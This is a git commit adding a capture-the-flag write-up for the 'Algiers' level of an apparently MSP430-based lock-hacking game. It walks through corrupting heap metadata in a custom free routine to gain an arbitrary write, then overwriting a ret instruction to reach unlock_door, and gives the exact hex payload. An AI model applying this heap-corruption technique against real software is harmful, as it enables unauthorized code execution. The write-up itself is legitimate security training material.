Solve Algiers in like six hours
This commit is contained in:
107
README.md
107
README.md
@@ -330,4 +330,111 @@ c844 + '61' * 0x7d + 256e
|
|||||||
|
|
||||||
## Algiers
|
## Algiers
|
||||||
|
|
||||||
|
When looking at Algiers, we quickly realize that the `free` function is more
|
||||||
|
than wacky. Since there is no `printf` in this exercise, we suspect that the
|
||||||
|
vulnerability is in that function.
|
||||||
|
|
||||||
|
We find the locations of the first and second input, and quickly realize that
|
||||||
|
by making the first input long enough, we can manipulate the first free
|
||||||
|
function which operates on the addresses from `0x2424 - 6` onward.
|
||||||
|
Specifically, We can override the values `0824 3424 2100` via the first input.
|
||||||
|
|
||||||
|
```
|
||||||
|
2400: 0824 0010 0000 0000 0824 1e24 2100 aabb
|
||||||
|
\____ location of first input
|
||||||
|
|
||||||
|
we can override this with the first input
|
||||||
|
____/
|
||||||
|
2410: 0000 0000 0000 0000 0000 0000 0000 0824
|
||||||
|
----
|
||||||
|
\ R15 points to this address in the first
|
||||||
|
call to `free`
|
||||||
|
|
||||||
|
we can overrid this too
|
||||||
|
/
|
||||||
|
---- ----
|
||||||
|
2420: 3424 2100 ccdd 0000 0000 0000 0000 0000
|
||||||
|
----
|
||||||
|
\
|
||||||
|
location of the second input
|
||||||
|
|
||||||
|
2430: 0000 0000 1e24 0824 9c1f 0000 0000 0000
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
Therefore, an input to not change the behavior would look like this.
|
||||||
|
|
||||||
|
```
|
||||||
|
beefbeefbeefbeefbeefbeefbeefbeef_0824_3424_2100 // input 1
|
||||||
|
aabb // input 2 - doesn't matter
|
||||||
|
```
|
||||||
|
|
||||||
|
Now, an insight that we might have is that we jump over the code at `0x4524` as
|
||||||
|
long as bit zero at `0x2408` is not not zero. Unfortunately, by default it is
|
||||||
|
zero, but by changing R15 to `0x241e` we point it to the address where the code
|
||||||
|
in `free` sets bit zero of the value at that address to zero:
|
||||||
|
|
||||||
|
```
|
||||||
|
450a: 3f50 faff add #0xfffa, r15
|
||||||
|
450e: 1d4f 0400 mov 0x4(r15), r13
|
||||||
|
4512: 3df0 feff and #0xfffe, r13 // set bit zero of r13 to zero
|
||||||
|
4516: 8f4d 0400 mov r13, 0x4(r15) // write value back to 00x241e + 4
|
||||||
|
```
|
||||||
|
|
||||||
|
So, with the following input, we land in the first branch:
|
||||||
|
|
||||||
|
```
|
||||||
|
beefbeefbeefbeefbeefbeefbeefbeef_1e24_3424_2100 // step 1 to solution
|
||||||
|
----
|
||||||
|
\
|
||||||
|
get into first branch by loading a value
|
||||||
|
whose zero bit is zero
|
||||||
|
```
|
||||||
|
|
||||||
|
When taking the first branch, we realize that the following code allows us to
|
||||||
|
insert a value for `R15 + 2` that R14 is then written into. Here R15 is the
|
||||||
|
second word in our three words that we can manipulate.
|
||||||
|
|
||||||
|
```
|
||||||
|
452e: 9e4f 0200 0200 mov 0x2(r15), 0x2(r14)
|
||||||
|
4534: 1d4f 0200 mov 0x2(r15), r13
|
||||||
|
4538: 8d4e 0000 mov r14, 0x0(r13)
|
||||||
|
```
|
||||||
|
|
||||||
|
In other words, that gives us write access to an arbitrary location by changing
|
||||||
|
`3424` in our input accordingly.
|
||||||
|
|
||||||
|
The question is where to write to. The first thing that comes to mind is
|
||||||
|
manipulating the return pointer of the `login` function. However, when stepping
|
||||||
|
through the `free` function, we might notice that it's `ret` instruction is
|
||||||
|
directly followed by `unlock_door`.
|
||||||
|
|
||||||
|
```
|
||||||
|
4508 <free>
|
||||||
|
// code removed
|
||||||
|
4562: 3041 ret
|
||||||
|
4564 <unlock_door>
|
||||||
|
4564: 3012 7f00 push #0x7f
|
||||||
|
4568: b012 b646 call #0x46b6 <INT>
|
||||||
|
456c: 2153 incd sp
|
||||||
|
456e: 3041 ret
|
||||||
|
```
|
||||||
|
|
||||||
|
Probably not a coinsidence. If we change `3424` to `6245` we can override the
|
||||||
|
return instruction fall through to `unlock_door`.
|
||||||
|
|
||||||
|
```
|
||||||
|
beefbeefbeefbeefbeefbeefbeefbeef_1e24_6245_2100 // step 2 to solution
|
||||||
|
```
|
||||||
|
|
||||||
|
When we run this code, whatever is in R14 will override the return instruction.
|
||||||
|
In this case, that whatever is `241e` which disassembles to `push @r4`. We got
|
||||||
|
lucky, it's a valid instruction. And with that it turns out that step 2 is our
|
||||||
|
final solution to solve Algiers.
|
||||||
|
|
||||||
|
```
|
||||||
|
beefbeefbeefbeefbeefbeefbeefbeef1e2462452100
|
||||||
|
```
|
||||||
|
|
||||||
|
## Vladivostok
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user